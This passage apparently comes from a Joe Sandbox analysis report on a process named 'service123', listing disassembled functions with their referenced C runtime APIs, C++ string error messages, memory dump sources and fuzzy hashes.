Instruction Fuzzy Hash: ABF1F571A0A3018BD7A49F29C48435AB7E1FFD8308F588A6DE898DB745E731DD05CB62

Function 6C9D5300 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 209COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C9D54C9
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9D5350, 6C9D53C0, 6C9D5430
basic_string::basic_string, xrefs: 6C9D5348, 6C9D53B8, 6C9D5428

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7ec7df5a8a9ffa032c23da8ee87785a2d3d0abee31f25d56e342b0b217629116
Instruction ID: 0b268e6299fbdf015f46f3274d96632a2023dd04ac9bf52e9df1bc1e885d1302
Opcode Fuzzy Hash: 7ec7df5a8a9ffa032c23da8ee87785a2d3d0abee31f25d56e342b0b217629116
Instruction Fuzzy Hash: 817189B1A097109FC3049F69C48465FFBE8EFDA724F15C95EE8889B714C275E884CB92

Function 6C98E2B0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 119stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98E2D3
memcpy.MSVCRT ref: 6C98E33F
strlen.MSVCRT ref: 6C98E383

Strings

basic_string::_M_construct null not valid, xrefs: 6C98E350, 6C98E400

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: d398e4d7a5774ef8c9e750bb5f19719b95e6afd837ed743d0c3bbd4340a982d5
Instruction ID: d635e03825a1463453087ba902088bab79d6300706638c5e63e29a299624cd49
Opcode Fuzzy Hash: d398e4d7a5774ef8c9e750bb5f19719b95e6afd837ed743d0c3bbd4340a982d5
Instruction Fuzzy Hash: FD414FB550A3548FC710DF29D1C055AFBF4AF96214F14886EE998CBB06D331D849CBA2

Function 6C98DD00 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 119stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98DD23
memcpy.MSVCRT ref: 6C98DD8F
strlen.MSVCRT ref: 6C98DDD3

Strings

basic_string::_M_construct null not valid, xrefs: 6C98DDA0, 6C98DE50

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: d398e4d7a5774ef8c9e750bb5f19719b95e6afd837ed743d0c3bbd4340a982d5
Instruction ID: ba0ab413387177ed77bf43711c195561a46ffa07c9c24ed81f9fbaad36b2f232
Opcode Fuzzy Hash: d398e4d7a5774ef8c9e750bb5f19719b95e6afd837ed743d0c3bbd4340a982d5
Instruction Fuzzy Hash: 7B4150B650A3558FC710DF29D1C065AFBF4EF96254F15886EE898CBB02D331D849CB62

Function 6C96E7B0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 80c17d4467859ca7d0ef45607bdb4c818a294bdc4f76d14da51d7554c77cb7eb
Instruction ID: ad3cee510ebdd9c226e007ad2dc8a64a1238dedc0bc4735cb6fea979ed958e75
Opcode Fuzzy Hash: 80c17d4467859ca7d0ef45607bdb4c818a294bdc4f76d14da51d7554c77cb7eb
Instruction Fuzzy Hash: 5221D831948209CFE700CE1BCC80786B3AAAB62358F549995D85447FD5E730E88AC7D1

Function 002B5140 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 1456COMMON

Download Yara Rule

Strings

, xrefs: 002B6826
9, xrefs: 002B6694
, xrefs: 002B660C

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID:
String ID: $ $9
API String ID: 0-3188969278
Opcode ID: 32b1c617ad438c886b4fbe419af9c6b4df9076fa3f0e25afca27274641b641f4
Instruction ID: 2474629edcacf568df1efbdff82511e037029cbab77bf61fdd570150e9b6424d
Opcode Fuzzy Hash: 32b1c617ad438c886b4fbe419af9c6b4df9076fa3f0e25afca27274641b641f4
Instruction Fuzzy Hash: 5AD256B1A287528FD720DF29C08479AFBE0FB84394F14891DE8D59B351E7B5D8648F82

Function 6C9DD100 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C9DD1B0, 6C9DD270, 6C9DD330

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 291f41a3758bd23cdc8615b5b09b48389e1e869ce7d8225bfe5cc3d6b600ae30
Instruction ID: 9a062bc5779542ec47d3020c5cc96a896475d8ac107c3b7cefead71c6fd9ec15
Opcode Fuzzy Hash: 291f41a3758bd23cdc8615b5b09b48389e1e869ce7d8225bfe5cc3d6b600ae30
Instruction Fuzzy Hash: 257193B6D097608FC710DF58D18065AFFE4EF9A218F15C56EE8989B709D230D885CBE2

Function 6C96E8E0 Relevance: 6.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 6C96E060: strlen.MSVCRT ref: 6C96E06D

abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort$strlen
String ID:
API String ID: 2656325428-0
Opcode ID: 770559137ff45ec03bd385252aa33617ac18bfa05ca2a45dfb654131242f3844
Instruction ID: 4ce8e023ec1174db5ee3757424735989be4704ec5e5f10fd8f93de6f96a775ae
Opcode Fuzzy Hash: 770559137ff45ec03bd385252aa33617ac18bfa05ca2a45dfb654131242f3844
Instruction Fuzzy Hash: DC51CE715097118FE710CF2AC84076AB7E9BF96308F04495AE8959BFC5D730D94AC7E2

Function 6C9D4C00 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 169COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C9D4DC9
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9D4C50, 6C9D4CC0, 6C9D4D30
basic_string::basic_string, xrefs: 6C9D4C48, 6C9D4CB8, 6C9D4D28

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 51205dcb03bae145626b98afc9a79fc06447865120777f914619829b4a7dbfa9
Instruction ID: 08a09c347b0bf79f564154563b98e8ac747a2965c16457f40341d593d6b694ab
Opcode Fuzzy Hash: 51205dcb03bae145626b98afc9a79fc06447865120777f914619829b4a7dbfa9
Instruction Fuzzy Hash: 3C516771A097109FC3049F69D98465FFBE8EF9A714F15C95DE888AB714C234E8848F92

Function 6C9CACA0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C9CAD11
memmove.MSVCRT ref: 6C9CAD4D

Strings

basic_string::assign, xrefs: 6C9CADB0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpymemmove
String ID: basic_string::assign
API String ID: 167125708-2385367300
Opcode ID: 043edda32f637ba1c83507c0e1fa80552846bc1cc512508888ba914e736ac5ad
Instruction ID: 6b6666dbae0a2005e804b1f7f703e9130a56280b1c7920b198c557466784c575
Opcode Fuzzy Hash: 043edda32f637ba1c83507c0e1fa80552846bc1cc512508888ba914e736ac5ad
Instruction Fuzzy Hash: 4A518C71B0A6118BC7049F29C48861EF7F9FF96709B50C96DE4588BB14EB30D845CB83

Function 6C96EA97 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2c3a2b9a52a15085319adecb2105afb85c087769493d1aa137dd57fdb02fa787
Instruction ID: c6d365cf98dbb4a10d03aca26bdefd21b359d164057d488640e7e54fd0ccf4cf
Opcode Fuzzy Hash: 2c3a2b9a52a15085319adecb2105afb85c087769493d1aa137dd57fdb02fa787
Instruction Fuzzy Hash: 9EC04C1189B51449D3202BAD684A3F9A1281B7724FF503045845963E700F02D06F407B

Function 6C96EA31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 948c7b3a78259701cd173523ea4677b3ee096ca88550f8a801c77514e1cbf870
Instruction ID: 39e2eaedfa5311637837cb1f1bf3f06220d202d031efd4c62c687d25596e41d7
Opcode Fuzzy Hash: 948c7b3a78259701cd173523ea4677b3ee096ca88550f8a801c77514e1cbf870
Instruction Fuzzy Hash: A9C04C22C9A51949D7306FBD59693F9A1696BB324FF443446844673E644F13E06A007B

Function 6C983060 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 283COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C983092

Strings

basic_string::compare, xrefs: 6C98311F, 6C9831C8, 6C983256, 6C9832FF, 6C98331B
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C983127, 6C9831D0, 6C98325E, 6C983307, 6C983323

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: wcslen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 4088430540-1697194757
Opcode ID: ba1366fee7c48d68b367e33e5c61a581dd7544daa69c24e9a66c7fbb13c5c843
Instruction ID: 53c0430271f4a6abee9960dc5b5c429a3f46059f2717b6f166cb4815ec706a28
Opcode Fuzzy Hash: ba1366fee7c48d68b367e33e5c61a581dd7544daa69c24e9a66c7fbb13c5c843
Instruction Fuzzy Hash: 5D81CF73B062118FC3009E7DD98085FF7E6FBD9664F548A2DE58887B14E331E9848B92

Function 6C96EB80 Relevance: 4.7, APIs: 3, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5d32570a005fc0716cad273280efff41f76e19b9b1154fa7abefd5d28fc01a8
Instruction ID: 5ee9eaf1d00f0653da6f6da74bc1f6d2550be6ddc5bdedd05b9b8a2feb19e921
Opcode Fuzzy Hash: b5d32570a005fc0716cad273280efff41f76e19b9b1154fa7abefd5d28fc01a8
Instruction Fuzzy Hash: 6861B671A093158FE714CF2BCC5036AB7E6AFD5708F148A1AE8949BF84E734C94987D2

Function 6C9D2CD0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C9D2D28
memcpy.MSVCRT ref: 6C9D2DA1

Part of subcall function 6C9D4760: memcpy.MSVCRT ref: 6C9D47E9

Strings

basic_string::_M_replace_aux, xrefs: 6C9D2D50

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: ee8fb43ebdc9df230b842671679148d1bfc58a537a08f7f401e7e1765560dfbc
Instruction ID: d29989296d692d9ac87207876a792a8f8c7a8bdd3123f22bb2868fc86458f5ac
Opcode Fuzzy Hash: ee8fb43ebdc9df230b842671679148d1bfc58a537a08f7f401e7e1765560dfbc
Instruction Fuzzy Hash: A5218F72A0A7509FC300AF1C958045EFBE8FBD5664F51896EF898A7711D331E854CB92

Function 6C9D4210 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 76stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C9D42AE

Part of subcall function 6C9D4760: memcpy.MSVCRT ref: 6C9D47E9

memset.MSVCRT ref: 6C9D426C

Strings

basic_string::_M_replace_aux, xrefs: 6C9D4290

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: basic_string::_M_replace_aux
API String ID: 160209724-2536181960
Opcode ID: acda280e29add7efe119e35b513f2125e7aabadb6db7936dc5066f84b0a81812
Instruction ID: ff1ee2e471689d64908d968088ef94786ba6c6f75ba237f37bcb0595b24c60fd
Opcode Fuzzy Hash: acda280e29add7efe119e35b513f2125e7aabadb6db7936dc5066f84b0a81812
Instruction Fuzzy Hash: B0218EB6A093509FC300AF6DA58045EFBE8FB95654F41892EF88997701D771E848CB92

Function 6C9CAA90 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C9CAB0A

Strings

basic_string::append, xrefs: 6C9CAB48
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9CAB50

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: 0fff2bc7bcf8901720ffad88747b2b1afce826479ab590cc5a84f28d1326de0d
Instruction ID: 4b7aae6b445d4212221ac753067f44d56a5dd944a27c95fb138463e250d828d0
Opcode Fuzzy Hash: 0fff2bc7bcf8901720ffad88747b2b1afce826479ab590cc5a84f28d1326de0d
Instruction Fuzzy Hash: 0921F2B5A093018FC300DF6AC1D891AFBFAEF99754F11892DE5848B720DB31E955CB82

Function 6C98DFB0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98DFD3
memcpy.MSVCRT ref: 6C98E03F

Strings

basic_string::_M_construct null not valid, xrefs: 6C98E050

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: aa639cf4a98dfe89a33061d2c7ae7731102fab6cc6df68d2957c55c35af6f1d5
Instruction ID: 04b14410f7a8aa04273d81b153025e3dca72a78bb38ebb2255847147727b3145
Opcode Fuzzy Hash: aa639cf4a98dfe89a33061d2c7ae7731102fab6cc6df68d2957c55c35af6f1d5
Instruction Fuzzy Hash: 91214AB550A314CFC700DF29D180A19BBF4AF4A318F248C6EE888CB711D332D849CBA2

Function 6C98DA00 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98DA23
memcpy.MSVCRT ref: 6C98DA8F

Strings

basic_string::_M_construct null not valid, xrefs: 6C98DAA0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
